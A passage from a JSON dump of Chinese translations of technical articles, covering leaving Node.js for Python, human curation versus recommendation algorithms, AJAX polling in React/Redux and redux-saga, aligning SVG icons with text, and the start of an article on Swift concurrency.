Forever，Upstart 还有 Monit 对吗？\n\n### 回调函数，Promise 还是生成器？\n\n为了搞定回调函数大坑，错误处理以及基本上很难读懂的逻辑，越来越多的开发者开始用 Promise。基本上就是用一种看上去像异步代码的东西来回避可怕的回调函数逻辑。不幸的是并没有一个标准（跟 Javascript 中的其他东西一样一样的）来规范该如何执行或使用 promise。\n\n现在最值得注意的是 [Bluebird](http://bluebirdjs.com/docs/getting-started.html)。相当不错，速度快，用来搞一些「够用」的小东西相当不错。但是我觉得不得不把必要的东西都包裹在 `Promise.promisifyAll()` 简直是跑偏了。\n\n大多数时候，我最后还是会用优秀的 [async](https://github.com/caolan/async) 库来收拾回调函数这一烂摊子。感觉自然多了。\n\n在我体验 Node 进入尾声的时候，生成器越来越流行了。我没有很深入了解生成器，所以没什么好反馈的。希望能听到对此有经验的人的声音。\n\n### 糟糕的标准\n\n最后一件令我沮丧的东西就是标准的缺失。似乎每个人都对上述几点有自己的想法。回调函数？ Promise？错误处理？构建脚本？这话题根本说不完。\n\n这还只是冰山一角。当然似乎也没有人能就如何写标准的 Javascript 达成共识。随手 Google 一把「Javascript 编程标准」你就懂我意思了。\n\n我意识到许多语言都没有严格的结构，但是这些语言的维护者却都给出了编程标准。\n\n我唯一能想到的还不错的 Javascript编程标准来自 [Mozilla](https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Coding_Style)。\n\n### Node 终极感想\n\n我花了一年的工夫尝试让我的团队使用 Javascript（具体地说是 Node）。但是这一年来我们浪费在追更新的文档，构想标准，争论使用哪个库以及 debug 无关紧要的代码的时间比其他事情还要多。\n\n我会建议已具有较大规模的产品使用 Node 吗？当然不。那有人坚持这样干吗？当然。连我都试了。\n\n我还是会向前端开发者推荐诸如 Angular 或 React 的 Javascript 库（好像你还有别的选择似地）。\n\n如果后端服务器较简单，只是用来做 websockets 或 API 转发的话，我还是会推荐 Node。用 Express 实现起来很容易，我们的 [Quoterobot](https://quoterobot.com/) PDF 处理服务器就是这么搞的。只用了一个算上空格和注释才 186 行代码的脚本。而且完全可以胜任。\n\n### 回到 Python\n\n那你现在估计在寻思，我现在在搞啥呢？现在啊，我的大部分 web 产品和 API 的开发工作都是用 Python。基本上都是 Flask 或者 Django 结合 Postgres 或者 MongoDb。\n\nPython 经住了时间的检验，有众多不错的标准，库，易于 debug，完全可以胜任工作。当然 Python 也有缺点。每个语言都有，只要你开始用它编程。出于一些原因 Node 赢得了我的青睐并吸引了我。我并不后悔用过 Node，但是我还是觉得浪费了更多的时间。\n\n我希望 Javascript 和 Node 将来有所改进。我不介意再次使用它。\n\n你的经验又是什么呢？你也经历过我遇到的问题吗？你是否最终又重新启用了更习惯的语言呢？\n"
  },
  {
    "path": "TODO/age-of-algorithm-human-gatekeeper.md",
    "content": "* 原文地址：[ In the age of the algorithm, the human gatekeeper is back ](https://www.theguardian.com/technology/2016/sep/30/age-of-algorithm-human-gatekeeper)\n* 原文作者：[Michael Bhaskar](https://www.theguardian.com/profile/michael-bhaskar)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n* 校对者：[根号三](https://github.com/sqrthree),[Mark](https://github.com/marcmoore)\n\n# 在算法横行的时代，仍需要人类把关\n\nGreg Linden 或许不是一个家喻户晓的名字，但他改变了我们与文化的相互影响并且永久变革了零售业。作为[九十年代晚期 Amazon 的一名工程师](https://www.theguardian.com/technology/2006/mar/09/newmedia.guardianweeklytechnologysection)，Linden 要解决一个奇怪的问题：如何在没有人工干预的情况下向顾客推荐书籍。那时 Amazon 还要依靠编辑们每年写上上百篇评论。这不仅费钱还费时。\n\n自动化推荐在当时是难以想象的棘手。 Linden 成功破解了这个难题。他把目光放在 \"个性化\" 上，矛盾的是，这关注的是产品之间的相关性而不是个人购买历史。忽略过去的购买记录后， Amazon 发现如果 A 产品一般和 B 产品一起售出，也就是说几乎所有人买 A 时也会想买 B。 Amazon 通过不同的售书方法的销量测试了这一发现。不消说：编辑们要卷铺盖走人了。人类退出，机器当道。一些估算显示因为这些推荐算法， Amazon 的营业额上升了 1/3。从此，算法被大量使用。现在书籍、文章、音乐、电影，还有不消说的度假和服装，都是通过机器推荐的。\n\n去年，英文书籍新出版了一百万册。至少从古希腊开始，人们已经觉得要读的东西太多了。当然，这还没算上那些有作者自己出版的图书，大量新闻或者是浩瀚无边的互联网。不管怎么说，我们都处在令人惊讶的阅读过剩之中。\n\n我们拥有的越多，我们就越依赖算法和自动化推荐系统。因此，推荐算法、机器学习、人工智能和大数据不可抵挡地侵入了文化领域。\n\n然而故事并没有结束。例如搜索引擎，能告诉我们想知道的内容，但有一些内容是我们需要的，但是我们暂时还没有想到，对于这些内容，搜索引擎就帮不上忙了。人类的挑选和识别力在算法时代有了新的意义，远不能消失。是的，随着拥有的越多，我们越来越需要算法了。但是我们也更加希望见多识广和特殊选择。人类又回来了。\n\n这是为什么尽管有全世界最强大的图书推荐引擎，Amazon 还是买下了 [Goodreads](https://www.theguardian.com/books/2013/apr/02/amazon-purchase-goodreads-stuns-book-industry) —— 一个主营个人书籍评论的网站。这也是为什么像 Canopy.co 这类的网站活跃程度在 Amazon 之上。Canopy 知道 Amazon 最棒的商品隐藏在一堆乱七八糟的东西里。Canopy 的创始人全都是设计师，每天筛选数千条记录以重点标注高质量商品。\n\n这是为什么尽管在网上能找到任何想要的书，但出版商仍印刷新的书籍满足多样化与个人书单，书店也再次兴起的原因。我们能够漫不经心的查看桌子上的书籍。在日本，人们谈论  **tsundoku**，即太多书可读的不安感受。他们自有解决办法：[东京银座书店](https://www.theguardian.com/books/2015/dec/23/japanese-bookshop-stocks-only-one-book-at-a-time)一次就只售卖一本书。\n\n这个在内容挑选上重焕生机的趣味不仅出现在出版业。在 Spotify（某在线音乐播放器）上，你可以听 30m 的音乐，其中20%一次都没播放过。为了帮助管理庞大的音乐目录，Spotify 花了 1 个亿收购了 [the Echo Nest](https://www.theguardian.com/technology/2014/mar/06/spotify-echo-nest-streaming-music-deal) 公司，后者拥有一项先进技术，用于识别音乐，自动分类曲目。同时，[Spotify](https://www.theguardian.com/business/2016/may/24/spotify-revenues-surge-80-to-more-than-13bn) 扩充了自己的歌单推荐人和快速成为新 DJ 的音乐专家。\n\n![Spotify 办公室](https://i.guim.co.uk/img/media/b1817d17c3857559c8c5bb3ebdd852627eefa181/0_192_5760_3456/master/5760.jpg?w=620&q=55&auto=format&usm=12&fit=max&s=aa4b8651de389bfc8cff727a2bb8c24d)\n\n[Netflix](https://www.theguardian.com/tv-and-radio/tvandradioblog/2013/aug/15/netflix-subscribe-breaking-bad-justified) 有远超观众需要的影视剧集。它是一个用数据科学管理文化的先驱者，它甚至为了研究团队们来升级它的算法而发起一个奖金 100 万美元的比赛，最后钱花出去了，却没有实现他们想要的效果。然而 Netflix 还培养观众为它的内容打一些详细的标签。他们做到了评论系统做不到的是：结局是想要的吗？胡子在电影里重要吗？\n\nFacebook 陷入一系列信息流内容管理的争议中，从直播杀戮，到删除越战的象征图片，再到政治偏见的指控。它最近试图通过开除人工编辑消除审核流程... 仅仅为了发现信息流退化成大量虚假和有争议的新闻故事。\n\n[苹果新闻和音乐](https://www.theguardian.com/technology/2016/may/04/apple-music-wwdc-taylor-swift) 应用有大量人工内容管理，甚至找了新闻编辑部和广播的名人们。Twitter 在它的 [Moments](https://www.theguardian.com/technology/2015/oct/06/twitter-launches-news-moments-curation) 产品中下了重金。虽然普遍不看好，但 Twitter 确实希望在内容上做的更好。Samsung 的新闻应用分成你想知道的和你需要知道的；前者通过算法挑选，后者通过编辑。大型科技公司对老牌专家求贤若渴。\n\n我们也有多余的东西。西欧家庭平均拥有 1 万件东西，美国家庭更多。但是处理这个情况不需要应用，只需要 [Kondo](https://www.theguardian.com/lifeandstyle/2016/jan/21/tidying-up-marie-kondo-spark-joy-new-york-book-singing) 方法，这是一种依靠我们个人历史信息来整理家庭的技术，深受欢迎。在零售业的上游，成功商店的背后有一再强调的专家精选，和时尚精品 [Opening Ceremony](https://www.theguardian.com/fashion/fashion-blog/2012/jul/23/opening-ceremony-london) 和 ”未来超市“ Eataly 一样多样化。随着媒体发展，我们从大量工业选择时代过渡到精选时代。\n\n精选可以是不得当的，有时还是贬义的词语，但是他的词根 curare（表示照顾的意思）却可以击中人们心中无法替代的感觉。我们想要惊喜，我们想要专业知识，独特的审美评论，无须花费时间和精力。我们体会到这混乱世界的另一种味道，体会人与人之间的信任。我们不仅想要相关性，我们还想知道为什么，想要故事，这是机器无法提供的。即使我们将精选定义为选择和排列，这也不完全是算法的工作。与许多行业经历技术破坏不同，从自动驾驶汽车到自动化会计，文化领域将一直重视人类选择和独特的感受。\n\n这是艺术和人文对机器学习世界的反击。这会创造新的就业。信息过载和技术驱动响应是我们的时代最好的转变。但在今天这种饱和状态（和那些成堆的摇摇欲坠的书）中，知识和主观判断比以往更有价值。用一名硅谷投资人的话说，“软件吃掉了世界“。当然，软件吃不掉人类选择。与神话相反，传统守门人角色仍健在。\n\n接下来我们将看到的是一种混合状态：充分混合了人类和机器选择来处理庞大数据集，在狭窄范围之上越走越远。我们现在有许多我们不能独自处理的东西，例如书籍、音乐、电影和艺术作品。我们需要一个 “算法文化”。但是我们比以往更需要：人类品味。\n\n"
  },
  {
    "path": "TODO/ajax-polling-in-react-with-redux.md",
    "content": "> * 原文地址：[AJAX POLLING IN REACT WITH REDUX](http://notjoshmiller.com/ajax-polling-in-react-with-redux/)\n> * 原文作者：[Josh M](http://notjoshmiller.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/ajax-polling-in-react-with-redux.md](https://github.com/xitu/gold-miner/blob/master/TODO/ajax-polling-in-react-with-redux.md)\n> * 译者：[刘嘉一](https://github.com/lcx-seima)\n> * 校对者：[yoyoyohamapi](https://github.com/yoyoyohamapi)，[FateZeros](https://github.com/FateZeros)\n\n# 在 React & Redux 中使用 AJAX 轮询\n\n> 更新：查看最新关于使用 redux-saga 进行轮询的文章：[http://notjoshmiller.com/ajax-polling-part-2-sagas/](http://notjoshmiller.com/ajax-polling-part-2-sagas/)\n\n正如生活不总是给予你所需之物，你所用的 API 也不总是支持流式事件。因此，当你需要把一些有时序依赖的状态从服务端同步到客户端时，一个常用的 “曲线救国” 方法就是使用 AJAX 进行接口轮询。我们大部分人都知道使用 `setInterval` 并不是处理轮询的 “最佳人选”，不过它的堂兄 `setTimeout` 配合 [递归解法](http://stackoverflow.com/questions/14027005/simple-long-polling-example-with-javascript-and-jquery) 却可以大展身手。\n\nReact & Redux 为我们提供了响应式的数据流，我们如何才能使普通的轮询方法与其和谐共处？RxJS 以及其他 Observable 类库是处理轮询的不错选择，不过除非你的项目已经集成了 Observable 类库，否则仅为解决轮询而引入相关类库显得并不值当。当前通过结合 React 组件的生命周期方法和 Redux 的 Action 就已经足够处理 AJAX 轮询，下面来看看如何得解？\n\n首先通过 Redux 的 Reducer 来说明当前 State：\n\n```javascript\nconst initialState = {  \n    data: {},\n    isFetching: false\n};\n\nexport function data (state = initialState, action) {  \n    switch (action.type) {\n    case DATA_FETCH_BEGIN: {\n        return { ...state, isFetching: true };\n    }\n    case DATA_FETCH_SUCCESS: {\n        return { isFetching: false, data: { ...state.data, action.payload }};\n    }\n    case DATA_FETCH_ERROR: {\n        return { ...state, isFetching: false };\n    }\n    default:\n        return state;\n}\n```\n\n我不会在这里去讲解如何处理 Redux 中的异步 Action 创建函数，想更好地了解这方面知识请参考 Redux 文档中的异步示例。 现在只需假设我们已有相关的 Redux 中间件来处理本文提到的各种 Action 。我会使用与 [real-world example](https://github.com/rackt/redux/tree/master/examples/real-world)（译注：原文链接的仓库已不存在，可以参考 Redux 文档中同名例子）中相似形式的 Action 创建函数。\n\n对应上方的数据模型，我们的 Action 创建函数可能为：\n\n```javascript\nexport function dataFetch() {  \n  return {\n    [CALL_API]: {\n      types: [DATA_FETCH_BEGIN, DATA_FETCH_SUCCESS, DATA_FETCH_ERROR],\n      endpoint: 'api/data/'\n    }\n  };\n}\n```\n\n回到最初的问题，让我们想想你会如何实现 API 接口的轮询。你会把轮询的定时器设置在 Reducer 中？还是 Action 创建函数里？或许是中间件里？如果把定时器放到 Smart 组件（译注：参看 [Smart and Dumb Components - Medium](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0)）中怎么样呢？我会选择在组件中设置定时器，不仅是因为组件需要控制自身的数据依赖，而且我们可以通过组件的生命周期方法控制这些定时器，看看如何做到？\n\n```javascript\nimport React from 'react';  \nimport {connect} from 'react-redux';  \nimport {bindActionCreators} from 'redux';  \nimport * as DataActions from 'actions/DataActions';\n\n// 组件需要哪些 Redux 全局状态作为 props 传入？\nfunction mapStateToProps(state) {  \n    return {\n        data: state.data.data,\n        isFetching: state.data.isFetching\n    };\n}\n\n// 组件需要哪些 Action 创建函数作为 props 传入？\nfunction mapDispatchToProps(dispatch) {  \n    return {\n        dataActions: bindActionCreators(DataActions, dispatch)\n    };\n}\n\n@connect(mapStateToProps, mapDispatchToProps)\nexport default class AppContainer {  \n    componentWillReceiveProps(nextProps) {\n        if (this.props.data !== nextProps.data) {\n\n            clearTimeout(this.timeout);\n\n            // 你可以在这里处理获取到的数据\n\n            if (!nextProps.isFetching) {\n                this.startPoll();\n            }\n        }\n\n    }\n\n    componentWillMount() {\n        this.props.dataActions.dataFetch();\n    }\n\n    componentWillUnmount() {\n        clearTimeout(this.timeout);\n    }\n\n    startPoll() {\n        this.timeout = setTimeout(() => this.props.dataActions.dataFetch(), 15000);\n    }\n}\n```\n\n好了，大功告成。因为上面的组件需要一些额外数据进行渲染，所以它会在挂载的时候尝试获取这些数据。 当 `dataFetch` 发送了一个新 Action 后，我们的 Reducer 会返回新的状态， 进而触发组件的 `componentWillReceiveProps` 方法。在这个生命周期方法内会首先清除所有进行中的定时器，若当前没有进行数据请求则随即启动一个新定时器。\n\n诚然还有很多方法可以处理这里的接口轮询问题，并且如果有任何长轮询方法可用时，此处的轮询方法便相形见绌。不过我还是希望这篇文章可以帮助阐明结合 React 生命周期方法和 Redux 数据流的处 “事” 之道。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/ajax-polling-part-2-sagas.md",
    "content": "> * 原文地址：[AJAX POLLING IN REDUX PART 2: SAGAS](http://notjoshmiller.com/ajax-polling-part-2-sagas/)\n> * 原文作者：[Josh M](http://notjoshmiller.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/ajax-polling-part-2-sagas.md](https://github.com/xitu/gold-miner/blob/master/TODO/ajax-polling-part-2-sagas.md)\n> * 译者：[刘嘉一](https://github.com/lcx-seima)\n> * 校对者：[yoyoyohamapi](https://github.com/yoyoyohamapi)，[FateZeros](https://github.com/FateZeros)\n\n# 在 Redux 中使用 AJAX 轮询（二）：Saga 篇\n\n不久之前我写了一篇关于在 React 中使用 AJAX 轮询的短文，内容可以概括为如何发起和控制周期性 AJAX 请求。文中我证明了通过使用组件生命周期方法，原生 React 和 Redux 在技术上就足以解决 AJAX 轮询的控制问题。随着时间推移，在使用中我发现这个方法需要开发者非常细心地筛选和管理 `componentWillReceiveProps` 中传入的 props 。最终，我的目标变成了尽可能地清除组件中的异步逻辑。\n\n在 Redux 生态中，已有不少管理副作用（side effect）的类库，从最基础的 [redux-thunk](https://github.com/gaearon/redux-thunk)，到受 Elm 熏陶的 [redux-loop](https://github.com/raisemarketplace/redux-loop)，最后还有使用 Generator 函数强力驱动的 [redux-saga](https://github.com/yelouafi/redux-saga/)。\n\n理想情况下，我喜欢把所有的异步请求都放置到一个 API 中间件中，这种用法可以参考 Redux 官方实例 [real-world example](https://github.com/reactjs/redux/tree/master/examples/real-world)。若使用 thunk 会使我的 Action 创建函数被异步逻辑所污染，所以 `redux-thunk` 已然出局。使用 `redux-loop` 则会与我的中间件相冲突，作为 store 的一个 enhancer 它却修改了 store 的 signature，进而导致其下游的所有中间件都需要调整。所以综上我决定探索 `redux-saga`，它本质上提供给我的是在应用后台执行任务的能力。使用 `redux-saga` 可以保证我利用中间件集中控制异步逻辑的用法不变，同时通过设定各类不同的观察者（watcher）来触发副作用。那么如何使用 redux-sage 处理 AJAX 轮询呢？\n\n```\n// 延时副作用的工具函数\nfunction delay(millis) {  \n    const promise = new Promise(resolve => {\n        setTimeout(() => resolve(true), millis)\n    });\n    return promise;\n}\n\n// 每隔 20 秒获取一次数据                                           \nfunction* pollData() {  \n    try {\n        yield call(delay, 20000);\n        yield put(dataFetch());\n    } catch (error) {\n        // 取消异常 -- 如果你愿意也可以捕获\n        return;\n    }\n}\n\n// 等待上一次数据请求返回成功后，发起下一轮轮询\n// 如果用户登出，则取消本次未完成的轮询                                          \nfunction* watchPollData() {  \n    while (true) {             \n        yield take(DATA_FETCH_SUCCESS);\n        yield race([\n            call(pollData),\n            take(USER_LOGOUT)\n        ]);\n    }\n}\n\n// 让各类任务在后台并行运行                       \nexport default function* root() {  \n    yield [\n        fork(watchPollData)\n        // 此处可包含其他观察者\n    ];\n}\n```\n\n这种以 sagas 存在的轮询逻辑让开发者免于处理组件中潜在的复杂生命周期。我在 race 条件中添加了 `USER_LOGOUT` Action，这样可以代劳之前 `componentWillUnmount` 中 `clearTimeout` 的工作。当发送 logout Action 后，运行中的 `pollData` saga 就可以被很好地中断执行。\n\n其余涉及到的逻辑如下：\n\n`dataFetch` -- 它是一个 Action 创建函数，产生的 Action 会被 API 中间件拦截并处理。在中间件中会发起真正的 API 请求，并根据请求结果发出一系列后续 Action。\n\n`watchPollData` -- 它是一个随应用启动并一直运行的 saga。启动后它会阻塞 saga 执行并监听 `DATA_FETCH_SUCCESS` Action 的发出。一旦监听到相应的 Action 被发出，它就解除阻塞继续执行后续的 `pollData` saga。\n\n`pollData` -- 先阻塞 Generator 函数的执行，20秒后再调用 `dataFetch` 并 dispatch `dataFetch` 产生的 Action。\n\n此处用到的 `take`、 `put`、 `race`、 `call` 和 `fork` 作用符，都可以在 [redux-saga documentation](http://yelouafi.github.io/redux-saga/docs/api/index.html#effect-creators) 中找到。\n\n你可以将本文的新方法与前一篇文章中在组件内做控制的方法作比较，使用 saga 后更利于预测和集中管理我的副作用。需要注意的是并不是所有的浏览器都支持 Generator 函数，如果你使用了 ES2015 和 Babel，那么它们已经提供了 Generator 函数的浏览器 polyfill 兼容支持。\n\n现在所有的数据容器（组件）只需在挂载的时候简单地调用一次 `dataFetch()` 即可，之后我们的 saga 就会自动接管所有的轮询工作。非常简而美吧。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/align-svg-icons-to-text-and-say-goodbye-to-font-icons.md",
    "content": "> * 原文链接: [Align SVG Icons to Text and Say Goodbye to Font Icons](https://blog.prototypr.io/align-svg-icons-to-text-and-say-goodbye-to-font-icons-d44b3d7b26b4#.9gcnlx2bm)\n* 原文作者 : [Elliot Dahl](https://blog.prototypr.io/@Elliotdahl)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [aleen42](https://github.com/aleen42)\n* 校对者 : [zhouzihanntu](https://github.com/zhouzihanntu)、[hikerpig](https://github.com/hikerpig)\n\n![](https://cdn-images-1.medium.com/max/1600/1*YJKqXVh1XZcKB9QeyVcKkA.png)\n\n# 把 SVG 图标对齐到文本，以告别字体图标（Font Icons）的时代\n\n在字体图标盛行的时代，推行 SVG 图标可谓是 Web 社区中的一次重要契机。毕竟，使用 SVG 图标系统能更好地遵循图形的访问性标准，并渲染出更高质量的图像。此外，开发者还能轻而易举地通过该类系统增加/删除/修改库中的图标。因此，鉴于这样的优势，我们使用 React 开发了一套自家的 SVG 图标系统产品，并发布在 [Pivotal](https://pivotal.io/) 上。本文将阐述作者如何使用 CSS 来对 SVG 图标系统进行样式的定制以高效便捷地使用该类系统。\n\n### 为何在乎 SVG 图标样式的定制方式？\n\n若您过去曾使用过像 [Font Awesome](http://fontawesome.io/) 这样的字体图标系统，你就会发现在一个项目中引用并使用该类系统将会是一件极其简单的事情。况且，我们还能轻松地把该类字体图标对齐到文本，并通过 `font-size` 属性修改元素的大小。而相比之下，我们目前却还没有一套清晰的方法去为 SVG 图标定制样式。当然，市面上的一些系统也只是把定制的样式应用到库中的单个图标，而非全部。因此，在 UI 中倘若想同时利用超过15个 SVG 图标，那将会是一件何等痛苦且无法持续下去的事情。\n\n### **SVG 图标能像字体图标那样进行缩放吗？**\n\n我们只需要引用一个 CSS 类对 SVG 的尺寸置为 1em / 1em 的大小，就能模拟使用 `font-size` 属性去缩放图标。这也就意味着，若标题文本的字体尺寸为 48px，那么对应之下 SVG 图标将会是 48px / 48px 的大小。当往像按钮或输入框这样的组件添加图标时，该方法显得尤为有效。此外，我们还可以通过修饰类或使用内联的 CSS 样式来给定一个字体尺寸。换而言之，SVG 图标的大小取决于其 `font-size` 属性。\n\n![](https://cdn-images-1.medium.com/max/1600/1*rrztHq_Ic2NwMp5CkHzYog.png)\n\n    .svg-icon svg {\n      height: 1em;\n      width: 1em;\n    }\n\n### **如何解决 SVG 图标未与文本对齐的问题？**\n\n上述方法的负面影响在于，DOM 元素自身并未与文本对齐。针对于此，过去我会采用一个标签处理类（handler class）`.svg-icon` 来承托该元素的尺寸，并使用相对定位的方式进行布局。这样的话，SVG 图标就能在该类内部采用绝对定位的方式改变位置。也就是说，把该图标往下移动 “-0.125em” 的距离，就可以使得图标在任何尺寸下都能往下移动12.5%。\n\n![](https://cdn-images-1.medium.com/max/1600/1*F49a4lqd8Lw5eFVTnPm4Lg.png)\n\n从该首例中，我们可以看到 DOM 元素默认情况下会与文本的基线（baseline）对齐。既然图标已经适配于该基线，那么，我们只需要把该基线往下移动，就能达到真正对齐的效果。因此，通过计算可以得出上述例子尺寸下的移动距离为 6px，或 6px/48px，即12.5%。同样，在第二个例子中，我们只需要把图标往下移动-0.125em 的位置，即能对齐文本的基线。\n\n    .svg-icon {\n      display: inline-flex;\n      align-self: center;\n      position: relative;\n      height: 1em;\n      width: 1em;\n    }\n\n    .svg-icon svg {\n      height:1em;\n      width:1em;\n    }\n\n    .svg-icon.svg-baseline svg {\n      bottom: -0.125em;\n      position: absolute;\n    }\n\n### 该方法适用于个人的字体和图标系统吗？\n\n也许适用吧。毕竟，每一种字体都会以不同的方式进行构建。从下例可以看到，尽管每一个字族中的字母都有着同样的 `font-size` 值，但它们却有着各自唯一的宽高。当然，浏览器对行高容器（line-height container）的计算并不会产生任何变化，但这也并不意味着你不需要为自己已有图标集定制出一个 CSS 样式，来修改图标的位置。\n\n![](https://cdn-images-1.medium.com/max/1600/1*GSfAY-rib0QAngPUK9LHMA.png)\n\n### 如何创建一个新图标？\n\n首先，先创建一个模板并制定好字体的尺寸。如下图所示，我是采用了96px 的文本尺寸，并配有相称的行高。然后，画出数条红线来标识文本行高及其基线的边界，以便分辨出最大的图标。当然在该例中，我还借鉴了 [Google 的 Material 图标](https://material.io/icons/)并引用其[设计模板](https://material.io/guidelines/style/icons.html#icons-system-icons)，去更好地理解如何构建属于自己的图标。\n\n![](https://cdn-images-1.medium.com/max/2000/1*-fnv9uyDUgahTAozqb9jqg.png)\n\n利用下面这个 Codepen 来测试你自己的字体与图标的配对效果。\n\n[![](http://i1.piimg.com/567571/92bc3cae3455dbc9.jpg)](https://codepen.io/elliotdahl/embed/ygYrvm?amp%3Bdefault-tabs=html%2Cresult&amp%3Bembed-version=2&amp%3Bhost=http%3A%2F%2Fcodepen.io&amp%3Bslug-hash=ygYrvm&height=600&referrer=https%3A%2F%2Fblog.prototypr.io%2Fmedia%2F78db9599a37b1b90530624815c99c973%3FpostId%3Dd44b3d7b26b)\n\n### **有何优化之处？**\n\n当然有。如有任何想法，不妨留言或访问我的 [Twitter](https://twitter.com/Elliotdahl)。\n\n### 想要了解 SVG ？\n\n可查阅相关资料以快速入门。\n\n《[从字体图标转向 SVG - Making the Switch Away from Icon Fonts to SVG](https://sarasoueidan.com/blog/icon-fonts-to-svg/)》，Sara Soueidan\n\n《[内联 SVG vs 字体图标 [网战中] - Inline SVG vs Icon Fonts [CAGEMATCH]](https://css-tricks.com/icon-fonts-vs-svg/)》，Chris Coyier\n\n《[千万不要使用字体图标 - Seriously, Don’t Use Icon Fonts](https://cloudfour.com/thinks/seriously-dont-use-icon-fonts/)》，Tyler Sticka\n\n《[使用 React 去创建一个 SVG 图标系统 - Create an SVG Icon System with React](https://css-tricks.com/creating-svg-icon-system-react/)》，Sarah Drasner\n"
  },
  {
    "path": "TODO/all-about-concurrency-in-swift-1-the-present.md",
    "content": "> * 原文地址：[All about Concurrency in Swift - Part 1: The Present](https://www.uraimo.com/2017/05/07/all-about-concurrency-in-swift-1-the-present/)\n> * 原文作者：[Umberto Raimondi](https://www.uraimo.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Deepmissea](http://deepmissea.blue)\n> * 校对者：[Feximin](https://github.com/Feximin)，[zhangqippp](https://github.com/zhangqippp)\n\n# Swift 中关于并发的一切：第一部分 — 当前\n\n在 Swift 语言的当前版本中，并没有像其他现代语言如 Go 或 Rust 一样，包含任何原生的并发功能。\n\n如果你计划异步执行任务，并且需要处理由此产生的竞争条件时，你唯一的选择就是使用外部库，比如 libDispatch，或者 Foundation 和 OS 提供的同步原语。\n\n在本系列教程的第一部分，我们会介绍 Swift 3 提供的功能，涵盖一切，从基础锁、线程和计时器，到语言守护和最近改善的 GCD 和操作队列。\n\n我们也会介绍一些基础的并发概念和一些常见的并发模式。\n\n![klingon 示例代码中的关键部分](https://www.uraimo.com/imgs/concurr.png)\n\n即使 pthread 库的函数和原语可以在任一个运行 Swift 的平台上使用，我们也不会在这里讨论，因为对于每个平台，都有更高级的方案。\n\nNSTimer 类也不会在这里介绍，你可以看一看[这里](/swiftbites/nstimer-in-swift-3/)，来了解如何在 Swift 3 中使用它。\n\n就像已多次公布的，Swift 4.0 之后的主要版本之一（不一定是 Swift 5）会扩展语言的功能，更好地定义内存模型，并包含了新的原生并发功能，可以不需要借助外部库来处理并发，实现并行化，定义了一种 Swift 方式来实现并发。\n\n这是本系列下一篇文章讨论的内容，我们会讨论一些其他语言实现的替代方法和范式实现，和在 Swift 中他们是如何实现的。并且我们会分析一些用当前版本 Swift 完成的开源实现，这些实现中我们可以使用 Actor 范式，Go 的 CSP 通道，软件事务内存等特性。\n\n第二篇文章将会完全是推测性的，它主要的目的是为你介绍这些主题，以便你以后可以参与到更热烈讨论当中，而这些讨论将会定义未来 Swift 版本的并发是怎么处理的。\n\n#### **本文或其他文章的 playground 可以在 [GitHub](https://github.com/uraimo/Swift-Playgrounds) 或 [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip) 找到。** ####\n\n### 目录 ###\n\n- [多线程与并发入门](#多线程与并发入门)\n- [语言守护](#语言守护)\n- [线程](#线程)\n- [同步原语](#同步原语)\n\t- [NSLock](#nslock)\n\t- [NSRecursiveLock](#nsrecursivelock)\n\t- [NSConditionLock](#nsconditionlock)\n\t- [NSCondition](#nscondition)\n\t- [NSDistributedLock](#nsdistributedlock)\n\t- [OSAtomic 你在哪里？](#osatomic-你在哪里)\n\t- [同步块](#同步块)\n\n- [GCD: 大中枢派发](#gcd-大中枢派发)\n\t- [调度队列](#调度队列)\n\t- [使用队列](#使用队列)\n\t- [屏障](#屏障)\n\t- [单例和 Dispatch_once](#单例和-dispatch_once)\n\t- [Dispatch Groups](#dispatch-groups)\n\t- [Dispatch Work Items](#dispatch-work-items)\n\t- [Dispatch Semaphores](#dispatch-semaphores)\n\t- [Dispatch Assertions](#dispatch-assertions)\n\t- [Dispatch Sources](#dispatch-sources)\n\t\n- [操作与可操作的队列](#操作与可操作的队列)\n- [闭幕后的思考](#闭幕后的思考)\n\n## 多线程与并发入门 ##\n\n现在，无论你构建的是哪一种应用，你迟早会考虑应用在多线程环境运行的情况。\n\n具有多个处理器或者多核处理器的计算平台已经存在了几十年，而像 **thread** 和 **process** 